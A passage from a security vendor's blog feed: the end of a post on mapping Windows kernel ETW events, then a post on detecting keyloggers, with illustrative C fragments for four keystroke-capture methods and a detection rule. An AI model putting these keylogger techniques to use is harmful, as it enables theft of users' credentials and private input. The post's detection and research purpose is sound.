<p>The fully reconstructed Windows Kernel Trace MOF is <a href="https://gist.github.com/jdu2600/a2b03e4e9cf19282a41ad766388c9856">here</a> (or in a tabular format <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/master/mof/Windows_Kernel_Trace.tsv">here</a>).</p>
<p>Of the 340 registered legacy events, only 116 were documented. Typically, each legacy event needs to be enabled via a specific flag, but these weren’t documented either. There was a clue in the documentation for the kernel <a href="https://learn.microsoft.com/en-us/windows/win32/etw/obtrace">Object Manager Trace</a> events. It mentioned <code>PERF_OB_HANDLE</code>, a constant that is not defined in the headers in the latest SDK. Luckily, <a href="https://geoffchappell.com/studies/windows/km/ntoskrnl/api/etw/tracesup/perfinfo_groupmask.htm">Geoff Chappell</a> and the Windows 10 1511 WDK came to the rescue. This information was used to add support for <code>PERFINFO_GROUPMASK</code> kernel trace flags to Microsoft’s <a href="https://github.com/microsoft/krabsetw/blob/master/examples/NativeExamples/kernel_trace_002.cpp">KrabsETW</a> library. It also turned out that the Object Trace documentation was wrong. That non-public constant can only be used with an undocumented API extension. Fortunately, public Microsoft projects such as <code>PerfView</code> often provide <a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/ETWKernelControl.cs#L464-L469">examples of how to use undocumented APIs</a>.</p>
<p>With both manifests and MOFs published on GitHub, most kernel events can now be found with <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel">this query</a>.</p>
<p>Interestingly, Microsoft often <a href="https://en.wikipedia.org/wiki/Security_through_obscurity">obfuscates</a> the names of security-relevant events, so searching for events with a generic name prefix such as <code>task_</code> yields some <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+task_">interesting results</a>.</p>
<p>Sometimes the keyword hints to the event’s purpose. For example, <code>task_014</code> in <code>Microsoft-Windows-Kernel-General</code> is enabled with the keyword <code>KERNEL_GENERAL_SECURITY_ACCESSCHECK.</code></p>
<p>And thankfully, the parameters are almost always well-named. We might guess that <code>task_05</code> in <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> is related to <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a> since it logs fields named <code>TargetProcessId</code> and <code>DesiredAccess</code>.</p>
<p><a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+processstartkey">Another useful query</a> is to search for events with an explicit <code>ProcessStartKey</code> field. ETW events can be <a href="https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-enable_trace_parameters">configured</a> to include this field for the logging process, and any event that includes this information for another process is often security relevant.</p>
<p>If you had a specific API in mind, you might query for its name or its parameters. For example, if you want Named Pipe events, you might use <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+namedpipe">this query</a>.</p>
<p>In this instance, though, <code>Microsoft-Windows-SEC</code> belongs to the built-in Microsoft Security drivers that Microsoft Defender for Endpoint (MDE) utilizes. This provider is only officially available to MDE, though <a href="https://www.youtube.com/watch?v=tuoA3KGKf7o">Sebastian Feldmann and Philipp Schmied</a> have demonstrated how to start a session using an <a href="https://learn.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session">AutoLogger</a> and subscribe to that session’s events. This is only currently useful for MDE users as otherwise, the driver is not configured to emit events.</p>
<p>But what about trace providers?</p>
<h3 id="modernkerneltraceproviders">Modern Kernel Trace Providers</h3>
<p>TraceLogging metadata is stored as an opaque blob within the logging binary. Thankfully this format has been reversed by <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">Matt Graeber</a>. We can use Matt’s script to dump all TraceLogging metadata for <code>ntoskrnl.exe</code>. A sample dump of Windows 11 TraceLogging metadata is <a href="https://gist.github.com/jdu2600/288475bc43ea68636c28cb25ddeb934f">here</a>.</p>
<p>Unfortunately, the metadata structure alone doesn’t retain the correlation between providers and events.  There are interesting provider names, such as <code>Microsoft.Windows.Kernel.Security</code> and <code>AttackSurfaceMonitor</code>, but it’s not yet clear from our metadata dump which events belong to these providers.</p>
<h3 id="legacykerneltraceproviders">Legacy Kernel Trace Providers</h3>
<p>WPP metadata is stored within symbols files (PDBs).  Microsoft includes this information in the <a href="https://techcommunity.microsoft.com/t5/microsoft-usb-blog/how-to-include-and-view-wpp-trace-messages-in-a-driver-8217-s/ba-p/270778">public symbols for some, but not all, drivers</a>.  The kernel itself, however, does not produce any WPP events. Instead, the legacy Windows Kernel Trace event provider can be passed undocumented flags to enable the legacy “trace” events usually only available to Microsoft kernel developers.</p>
<p>| Provider               | Documentation | Event Metadata               |
|------------------------|---------------|------------------------------|
| Modern Event Providers | None          | <a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/RegisteredTraceEventParser.cs#L81-L529">Registered XML manifests</a>     |
| Legacy Event Providers | Partial       | <a href="https://learn.microsoft.com/en-us/windows/win32/etw/retrieving-event-data-using-mof">EventTrace WMI objects</a>       |
| Modern Trace Providers | None          | <a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658">Undocumented blob in binary</a>  |
| Legacy Trace Providers | None          | <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/trace-message-format-file">Undocumented blob in Symbols</a> |</p>
<h2 id="nextsteps">Next Steps</h2>
<p>We now have kernel event metadata for each of the four flavours of ETW provider, but a list of ETW events is just our starting point. Knowing the provider and event keyword may not be enough to generate the events we expect. Sometimes, an additional configuration registry key or API call is required. More often, though, we just need to understand the exact conditions under which the event is logged.</p>
<p>Knowing exactly where and what is being logged is critical to truly understanding your telemetry and its limitations. And, thanks to decompilers becoming readily available, we have the option of some just-enough-reversing available to us. In IDA we call this “press F5”. Ghidra is the open-source alternative and it supports scripting … with Java.</p>
<p>For kernel ETW, we are particularly interested in <code>EtwWrite</code> calls that are reachable from system calls. We want as much of the call site parameter information as possible, including any associated public symbol information. This meant that we needed to walk the call graph but also attempt to resolve the possible values for particular parameters.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9b197e046e6e2a68/6a7d82886c6eac80e0f1137a/image4.png" alt="alt_text" title="alt_text" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd004f26903601e20/6a7d828bbd21986b977552e9/image12.png" alt="EtwWrite documentation" title="EtwWrite documentation" /></p>
<p>The necessary parameters were the <code>RegHandle</code> and the <code>EventDescriptor</code>.  The former is an opaque handle for the provider, and the latter provides event-specific information, such as the event id and its associated keywords.  An ETW keyword is an identifier used to enable a set of events. </p>
<p>Even better, these event descriptors were typically stored in a global constant with a public symbol.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcf27b5a7efc8f2c2/6a7d828e42a1173226959142/image1.png" alt="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" title="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" /></p>
<p>We had sufficient event metadata but still needed to resolve the opaque provider handle assigned at runtime back to the metadata about the provider. For this, we also needed the <code>EtwRegister</code> calls.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt102e4dd0bcc83cca/6a7d8291dd26d271422a7281/image9.png" alt="EtwRegister documentation" title="EtwRegister documentation" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9598ecfadbd67fcf/6a7d829442a117f79f959146/image10.png" alt="Example ntoskrnl.exe EtwRegister in Ghidra" title="Example ntoskrnl.exe EtwRegister in Ghidra" /></p>
<p>The typical pattern for kernel modern event providers was to store the constant provider GUID and the runtime handle in globals with public symbols.</p>
<p>Another pattern encountered was calls to <code>EtwRegister</code>, <code>EtwEwrite</code>, and <code>EtwUnregister</code>, all in the same function. In this case, we took advantage of the locality to find the provider GUID for the event.</p>
<p>Modern TraceLogging providers, however, did not have associated per-provider public symbols to provide a hint of each provider’s purpose. However, Matt Graeber had <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">reversed the TraceLogging metadata</a> format and documented that the provider name is stored at a <a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658#file-tlgmetadataparser-psm1-L461-L473">fixed offset</a> from the provider GUID. Having the exact provider name is even better than just the public symbol we recovered for modern events.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcc5877a4441e8705/6a7d829751156a22a12bf8a1/image7.png" alt="Example TraceLogging Provider blob in Ghidra" title="Example TraceLogging Provider blob in Ghidra" /></p>
<p>This just left the legacy providers. They didn’t seem to have either public symbols or metadata blobs.  Some constants are passed to an undocumented function named <code>EtwTraceKernelEvent</code> which wraps the eventual ETW write call.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb54ef4f19a98d2f8/6a7d829a6c6eac5485f1137e/image5.png" alt="Example legacy provider EtwTraceKernelEvent call in Ghidra" title="Example legacy provider EtwTraceKernelEvent call in Ghidra" /></p>
<p>Those constants are present in the Windows 10 1511 WDK headers (and the <a href="https://github.com/winsiderss/systeminformer/blob/7ad69bf13d31892a89be7230bdbd47ffde024a2b/phnt/include/ntwmi.h#L725">System Informer</a> headers), so we could label these events with the constant names.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7c61a4ad6aecfa3e/6a7d829c33fa8a56a81ff99c/image2.png" alt="ntwmi.h extract" title="ntwmi.h extract" /></p>
<p>This script has been recently updated for Ghidra 11, along with improved support for TraceLogging and Legacy events. You can now find it on GitHub here - <a href="https://github.com/jdu2600/API-To-ETW">https://github.com/jdu2600/API-To-ETW</a></p>
<p>Sample output for the Windows 11 kernel is <a href="https://github.com/jdu2600/API-To-ETW/blob/main/ntoskrnl.exe.csv">here</a>.</p>
<p>Our previously anonymous <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> events are quickly unmasked by this script.</p>
<p>| Id | EVENT_DESCRIPTOR Symbol                                   | Function                                 |
|----|-----------------------------------------------------------|------------------------------------------|
| 1  | KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE              | PsSetLoadImageNotifyRoutineEx            |
| 2  | KERNEL_AUDIT_API_TERMINATEPROCESS                         | NtTerminateProcess                       |
| 3  | KERNEL_AUDIT_API_CREATESYMBOLICLINKOBJECT                 | ObCreateSymbolicLink                     |
| 4  | KERNEL_AUDIT_API_SETCONTEXTTHREAD                         | NtSetContextThread                       |
| 5  | KERNEL_AUDIT_API_OPENPROCESS                              | PsOpenProcess                            |
| 6  | KERNEL_AUDIT_API_OPENTHREAD                               | PsOpenThread                             |
| 7  | KERNEL_AUDIT_API_IOREGISTERLASTCHANCESHUTDOWNNOTIFICATION | IoRegisterLastChanceShutdownNotification |
| 8  | KERNEL_AUDIT_API_IOREGISTERSHUTDOWNNOTIFICATION           | IoRegisterShutdownNotification           |</p>
<p>Symbol and containing function for Microsoft-Windows-Kernel-Audit-API-Calls events</p>
<p>With the call path and parameter information recovered by the script, we can also see that the <code>SECURITY_ACCESSCHECK</code> event from earlier is associated with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-seaccesscheck">SeAccessCheck</a> kernel API, but only logged within a function named <code>SeLogAccessFailure</code>. Only logging failure conditions is a very common occurrence with ETW events. For troubleshooting purposes, the original ETW use case, these are typically the most useful and the implementation in most components reflects this. Unfortunately, for security purposes, the inverse is often true. The successful operation logs are usually more useful for finding malicious activity. So, the value of some of these legacy events is often low.</p>
<p>Modern <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design">Secure by Design</a> practice is to audit log both success and failure for security relevant activities and Microsoft continues to add new security-relevant ETW events that do this. For example, the preview build of Windows 11 24H2 includes some <a href="https://windows-internals.com/an-end-to-kaslr-bypasses/">interesting new ETW events</a> in the <code>Microsoft-Windows-Threat-Intelligence</code> provider. Hopefully, these will be documented for security vendors ahead of its release. </p>
<p>Running this decompiler script across interesting Windows drivers and service DLLs is left as an exercise to the reader.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/kernel-etw-best-etw</link>
    <guid isPermaLink="false">kernel-etw-best-etw</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[John Uhlmann]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltde7e492c74b024cb/6a7d829f448e4e095e5bdb6c/kernel-etw-best-etw.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 13 Sep 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Protecting your devices from information theft]]></title>
    <description><![CDATA[In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from version 8.12), which is responsible for endpoint protection in Elastic Security.]]></description>
    <content:encoded><![CDATA[<p>In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from <a href="https://www.elastic.co/guide/en/security/8.12/release-notes-header-8.12.0.html#enhancements-8.12.0">version 8.12</a>), which is responsible for endpoint protection in Elastic Security. This article is also available in <a href="https://www.elastic.co/jp/security-labs/blog/protecting-your-devices-from-information-theft-keylogger-protection">Japanese</a>.</p>
<h2 id="introduction">Introduction</h2>
<p>Starting with Elastic Defend 8.12, we have enhanced the detection of keyloggers and malware with keylogging capabilities (such as information-stealing malware or remote access trojans, better known as RATs) on Windows by monitoring and recording the calls to representative Windows APIs used by keyloggers. This publication will focus on providing a detailed technical background of this new feature. Additionally, we will introduce the new prebuilt behavioral detection rules created in conjunction with this feature.</p>
<h3 id="whatisakeyloggerandwhataretheirrisks">What is a keylogger and what are their risks?</h3>
<p>A keylogger is a type of software that monitors and records the keystrokes entered on a computer (※1). While keyloggers can be used for legitimate purposes such as user monitoring, they are frequently abused by malicious actors. Specifically, they are used to steal sensitive information such as authentication credentials, credit card details, and various confidential data entered through the keyboard. (※1: While there are hardware keyloggers that can be attached directly to a PC via USB, this article focuses on software keyloggers.)</p>
<p>The sensitive information obtained through keyloggers can be exploited for monetary theft or as a stepping stone for further cyber attacks. Therefore, although keylogging itself does not directly damage the computer, early detection is crucial to preventing subsequent, more invasive cyber attacks.</p>
<p>There are many types of malware with keylogging capabilities, particularly RATs, information stealers, and banking malware. Some well-known malware with keylogging functionality includes <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla">Agent Tesla</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot">LokiBot</a>, and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger">SnakeKeylogger</a>.</p>
<h3 id="howarekeystrokesstolen">How are keystrokes stolen?</h3>
<p>Next, let's explain from a technical perspective how keyloggers function without being detected. While keyloggers can be used within various operating system environments (Windows/Linux/macOS and mobile devices), this article will focus on Windows keyloggers. Specifically, we will describe four distinct types of keyloggers that capture keystrokes using Windows APIs and functions (※2).</p>
<p>As a side note, the reason for explaining keylogging methods here is to deepen the understanding of the new detection features introduced in the latter half of this article. Therefore, the example code provided is for illustrative purposes only and is not intended to be executable as is (※3).</p>
<p>(※2: Keyloggers running on Windows can be broadly divided into those installed in kernel space (OS side) and those installed in the same space as regular applications (user space). This article focuses on the latter type.)
(※3: If a keylogger is created and misused based on the example code provided below, Elastic will not be responsible for any consequences.)</p>
<ol>
<li>Polling-based keylogger</li>
</ol>
<p>This type of keylogger polls or periodically checks the state of each key on the keyboard (whether the key is pressed) at short intervals (much shorter than one second). If a keylogger detects that a new key has been pressed since the last check, it records and saves the information of the pressed key. By repeating this process, the keylogger captures the characters entered by the user.</p>
<p>Polling-based keyloggers are implemented using Windows APIs that check the state of key inputs, with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate"><code>GetAsyncKeyState</code></a> API being a representative example. This API can determine whether a specific key is currently pressed and whether that key has been pressed since the last API call. Below is a simple example of a polling-based keylogger using the <code>GetAsyncKeyState</code> API:</p>
<pre><code>while(true)
{
    for (int key = 1; key &lt;= 255; key++)
    {
        if (GetAsyncKeyState(key) &amp; 0x01)
        {
            SaveTheKey(key, "log.txt");
        }
    }
    Sleep(50);
}
</code></pre>
<p>The method of polling (<code>GetAsyncKeyState</code>) to capture key press states is not only a well-known, classic keylogging technique, but it is also commonly used by malware today.</p>
<ol>
<li>Hooking-based keylogger</li>
</ol>
<p>Hooking-based keyloggers, like polling-based keyloggers, are a classic type that has been around for a long time. Let's first explain what a "hook" is.</p>
<p>A hook is a mechanism that allows you to insert custom processing (custom code) into specific operations of an application. Using a hook to insert custom processing is known as "hooking."</p>
<p>Windows provides a mechanism that allows you to hook messages (events) such as key inputs to an application, and this can be utilized through the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw"><code>SetWindowsHookEx</code></a> API. Below is a simple example of a hooking-based keylogger using the <code>SetWindowsHookEx</code> API:</p>
<pre><code>HMODULE hHookLibrary = LoadLibraryW(L"hook.dll");
FARPROC hookFunc = GetProcAddress(hHookLibrary, "SaveTheKey");

HHOOK keyboardHook = NULL;

keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
                (HOOKPROC)hookFunc,
                hHookLibrary,
                0);
</code></pre>
<ol>
<li>Keylogger using the Raw Input Model</li>
</ol>
<p>This type of keylogger captures and records raw input data obtained directly from input devices like keyboards. Before delving into the details of this type of keylogger, it's essential to understand the "Original Input Model" and "Raw Input Model" in Windows. Here's an explanation of each input method:</p>
<ul>
<li><strong>Original Input Model</strong>: The data entered from input devices like keyboards is processed by the OS before being delivered to the application.</li>
<li><strong>Raw Input Model</strong>: The data entered from input devices is received directly by the application without any intermediate processing by the OS.</li>
</ul>
<p>Initially, Windows only used the Original Input Model. However, with the introduction of Windows XP, the Raw Input Model was added, likely due to the increasing diversity of input devices. In the Raw Input Model, the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices"><code>RegisterRawInputDevices</code></a> API is used to register the input devices from which you want to receive raw data directly. Subsequently, the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getrawinputdata"><code>GetRawInputData</code></a> API is used to obtain the raw data.</p>
<p>Below is a simple example of a keylogger using the Raw Input Model and these APIs:</p>
<pre><code>LRESULT CALLBACK WndProc(HWND hWnd, UINT uMessage, WPARAM wParam, LPARAM lParam)
{

    UINT dwSize = 0;
    RAWINPUT* buffer = NULL;

    switch (uMessage)
    {
    case WM_CREATE:
        RAWINPUTDEVICE rid;
        rid.usUsagePage = 0x01;  // HID_USAGE_PAGE_GENERIC
        rid.usUsage = 0x06;      // HID_USAGE_GENERIC_KEYBOARD
        rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK;
        rid.hwndTarget = hWnd;
        RegisterRawInputDevices(&amp;rid, 1, sizeof(rid));
        break;
    case WM_INPUT:
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &amp;dwSize, sizeof(RAWINPUTHEADER));

        buffer = (RAWINPUT*)HeapAlloc(GetProcessHeap(), 0, dwSize);

        if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, buffer, &amp;dwSize, sizeof(RAWINPUTHEADER)))
        {
            if (buffer-&gt;header.dwType == RIM_TYPEKEYBOARD)
            {
                SaveTheKey(buffer, "log.txt");
            }
        }
        HeapFree(GetProcessHeap(), 0, buffer);
        break;
    default:
        return DefWindowProc(hWnd, uMessage, wParam, lParam);
    }
    return 0;
}
</code></pre>
<p>In this example, <code>RegisterRawInputDevices</code> is used to register the input devices from which raw input data is to be received. Here, it is set to receive raw input data from the keyboard.</p>
<ol>
<li>Keylogger using <code>DirectInput</code></li>
</ol>
<p>Finally, let's discuss a keylogger that uses <code>DirectInput</code>. In simple terms, this keylogger abuses the functionalities of Microsoft DirectX. DirectX is a collection of APIs (libraries) used for handling multimedia tasks such as games and videos.</p>
<p>Since obtaining various inputs from users is essential in gaming, DirectX also provides APIs for processing user inputs. The APIs provided before DirectX version 8 are known as <code>DirectInput</code>. Below is a simple example of a keylogger using related APIs. As a side note, when acquiring key states using <code>DirectInput</code>, the <code>RegisterRawInputDevices</code> API is called in the background.</p>
<pre><code>LPDIRECTINPUT8        lpDI = NULL;
LPDIRECTINPUTDEVICE8    lpKeyboard = NULL;

BYTE key[256];
ZeroMemory(key, sizeof(key));

DirectInput8Create(hInstance, DIRECTINPUT_VERSION, IID_IDirectInput8, (LPVOID*)&amp;lpDI, NULL);
lpDI-&gt;CreateDevice(GUID_SysKeyboard, &amp;lpKeyboard, NULL);
lpKeyboard-&gt;SetDataFormat(&amp;c_dfDIKeyboard);
lpKeyboard-&gt;SetCooperativeLevel(hwndMain, DISCL_FOREGROUND | DISCL_NONEXCLUSIVE | DISCL_NOWINKEY);

while(true)
{
    HRESULT ret = lpKeyboard-&gt;GetDeviceState(sizeof(key), key);
    if (FAILED(ret)) {
        lpKeyboard-&gt;Acquire();
        lpKeyboard-&gt;GetDeviceState(sizeof(key), key);
    }
  SaveTheKey(key, "log.txt");    
    Sleep(50);
}
</code></pre>
<h2 id="detectingkeyloggersbymonitoringwindowsapicalls">Detecting keyloggers by monitoring Windows API calls</h2>
<p>Elastic Defend uses Event Tracing for Windows (ETW ※4) to detect the aforementioned keylogger types. This is achieved by monitoring calls to related Windows APIs and logging particularly anomalous behavior. Below are the Windows APIs being monitored and the newly created keylogger detection rules associated with these APIs. (※4: In short, ETW is a mechanism provided by Microsoft for tracing and logging the execution of applications and system components in Windows, such as device drivers.)</p>
<h3 id="monitoredwindowsapis">Monitored Windows APIs:</h3>
<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate">GetAsyncKeyState</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw">SetWindowsHookEx</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerrawinputdevices">RegisterRawInputDevice</a></li>
</ul>
<h3 id="newkeyloggerendpointdetectionrules">New keylogger endpoint detection rules:</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_suspicious_process.toml">GetAsyncKeyState API Call from Suspicious Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_getasynckeystate_api_call_from_unusual_process.toml">GetAsyncKeyState API Call from Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_directinput.toml">Keystroke Input Capture via DirectInput</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml">Keystroke Input Capture via RegisterRawInputDevices</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_messages_hooking_via_setwindowshookex.toml">Keystroke Messages Hooking via SetWindowsHookEx</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_managed_application.toml">Keystrokes Input Capture from a Managed Application</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_a_suspicious_module.toml">Keystrokes Input Capture from a Suspicious Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_suspicious_callstack.toml">Keystrokes Input Capture from Suspicious CallStack</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_from_unsigned_dll.toml">Keystrokes Input Capture from Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystrokes_input_capture_via_setwindowshookex.toml">Keystrokes Input Capture via SetWindowsHookEx</a></li>
</ul>
<p>With this new set of capabilities, Elastic Defend can provide comprehensive monitoring and detection of keylogging activity, enhancing the security and protection of Windows endpoints against these threats.</p>
<h3 id="detectingwindowskeyloggers">Detecting Windows keyloggers</h3>
<p>Next, let’s walk through an example of how the detection works in practice. We'll detect a keylogger using the Raw Input Model with Elastic Defend. For this example, we prepared a simple PoC keylogger named <code>Keylogger.exe</code> that uses the <code>RegisterRawInputDevices</code> API and executed it in our test environment ※5. (※5:The execution environment is Windows 10 Version 22H2 19045.4412, the latest version available at the time of writing.)</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte0adb003ad038acd/6a8f2a1b36492a137485fc7c/protecting-your-devices-from-information-theft-keylogger-protection-image1.png" alt="Elastic Security alert" title="Elastic Security alert" />
　
Shortly after the keylogger was executed, a detection rule  (<a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/collection_keystroke_input_capture_via_registerrawinputdevices.toml">Keystroke Input Capture via RegisterRawInputDevices</a>) was triggered on the endpoint, showing an alert.  The further details of this alert can be viewed within Kibana.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blted30cf88590e4af1/6a8f2a1ba8b323347fcc2525/protecting-your-devices-from-information-theft-keylogger-protection-image3.png" alt="Elastic Security alert dashboard" title="Elastic Security alert dashboard" /></p>
<p>Here are the details of the detection rule, note the specific API referenced in the example. </p>
<pre><code>query = '''
api where
 process.Ext.api.name == "RegisterRawInputDevices" and not process.code_signature.status : "trusted" and
 process.Ext.api.parameters.usage : ("HID_USAGE_GENERIC_KEYBOARD", "KEYBOARD") and
 process.Ext.api.parameters.flags : "*INPUTSINK*" and process.thread.Ext.call_stack_summary : "?*" and
 process.thread.Ext.call_stack_final_user_module.hash.sha256 != null and process.executable != null and
 not process.thread.Ext.call_stack_final_user_module.path :
                         ("*\\program files*", "*\\windows\\system32\\*", "*\\windows\\syswow64\\*",
                          "*\\windows\\systemapps\\*",
                          "*\\users\\*\\appdata\\local\\*\\kumospace.exe",
                          "*\\users\\*\\appdata\\local\\microsoft\\teams\\current\\teams.exe") and 
 not process.executable : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe")
'''
</code></pre>
<p>This rule raises an alert when an unsigned process, or a process signed by an untrusted signer, calls the <code>RegisterRawInputDevices</code> API to capture keystrokes. More specifically, Elastic Defend monitors the arguments passed to the <code>RegisterRawInputDevices</code> API, particularly the members of the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-rawinputdevice"><code>RAWINPUTDEVICE</code> structure</a>, which is the first argument of this API.</p>
<p>This raises an alert when these argument values indicate an attempt to capture keyboard input. The logs of the <code>RegisterRawInputDevices</code> API can also be viewed within Kibana.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f1f7333f11e2770/6a8f2a1bda6aeaad0a37b7ab/protecting-your-devices-from-information-theft-keylogger-protection-image2.png" alt="&lt;code&gt;RegisterRawInputDevices&lt;/code&gt; API logs displayed in Kibana" title="&lt;code&gt;RegisterRawInputDevices&lt;/code&gt; API logs displayed in Kibana" /></p>
<h3 id="datacollectedduringwindowsapicalls">Data Collected During Windows API Calls</h3>
<p>Due to space constraints, this article does not cover all of the detection rules and API details that were added. However, we will briefly describe the data that Elastic Defend collects during calls to the relevant Windows APIs. For further explanations for each item, please refer to the Elastic Common Schema (ECS) mapping detailed in <a href="https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml"><code>custom_api.yml</code></a>.</p>
<p>| API Name | Field | Description | Example |
| --- | --- | --- | --- |
| GetAsyncKeyState | process.Ext.api.metadata.ms_since_last_keyevent | This parameter indicates an elapsed time in milliseconds between the last GetAsyncKeyState event. | 94 |
| GetAsyncKeyState | process.Ext.api.metadata.background_callcount | This parameter indicates a number of all GetAsyncKeyState api calls, including unsuccessful calls, between the last successful GetAsyncKeyState call. | 6021 |
| SetWindowsHookEx | process.Ext.api.parameters.hook_type | Type of hook procedure to be installed. | "WH_KEYBOARD_LL"
| SetWindowsHookEx | process.Ext.api.parameters.hook_module | DLL containing the hook procedure. | "c:\windows\system32\taskbar.dll"
| SetWindowsHookEx | process.Ext.api.parameters.procedure | The memory address of the procedure or function. | 2431737462784 |
| SetWindowsHookEx | process.Ext.api.metadata.procedure_symbol | Summary of the hook procedure. | "taskbar.dll" |
| RegisterRawInputDevices | process.Ext.api.metadata.return_value | Return value of RegisterRawInputDevices API call. | 1 |
| RegisterRawInputDevices | process.Ext.api.parameters.usage_page | This parameter indicates the top-level collection (Usage Page) of the device. First member RAWINPUTDEVICE structure. | "GENERIC" |
| RegisterRawInputDevices | process.Ext.api.parameters.usage | This parameter indicates the specific device (Usage) within the Usage Page. Second member RAWINPUTDEVICE structure. | "KEYBOARD" |
| RegisterRawInputDevices | process.Ext.api.parameters.flags | Mode flag that specifies how to interpret the information provided by UsagePage and Usage. Third member RAWINPUTDEVICE structure. | "INPUTSINK" |
| RegisterRawInputDevices | process.Ext.api.metadata.windows_count | Number of windows owned by the caller thread. | 2 |
| RegisterRawInputDevices | process.Ext.api.metadata.visible_windows_count | Number of visible windows owned by the caller thread. | 0 |
| RegisterRawInputDevices | process.Ext.api.metadata.thread_info_flags | Thread info flags. | 16 |
| RegisterRawInputDevices | process.Ext.api.metadata.start_address_module | Name of the module associated with the starting address of a thread. | "C:\Windows\System32\DellTPad\ApMsgFwd.exe" |
| RegisterRawInputDevices | process.Ext.api.metadata.start_address_allocation_protection | Memory protection attributes associated with the starting address of a thread. | "RCX" |</p>
<h2 id="conclusion">Conclusion</h2>
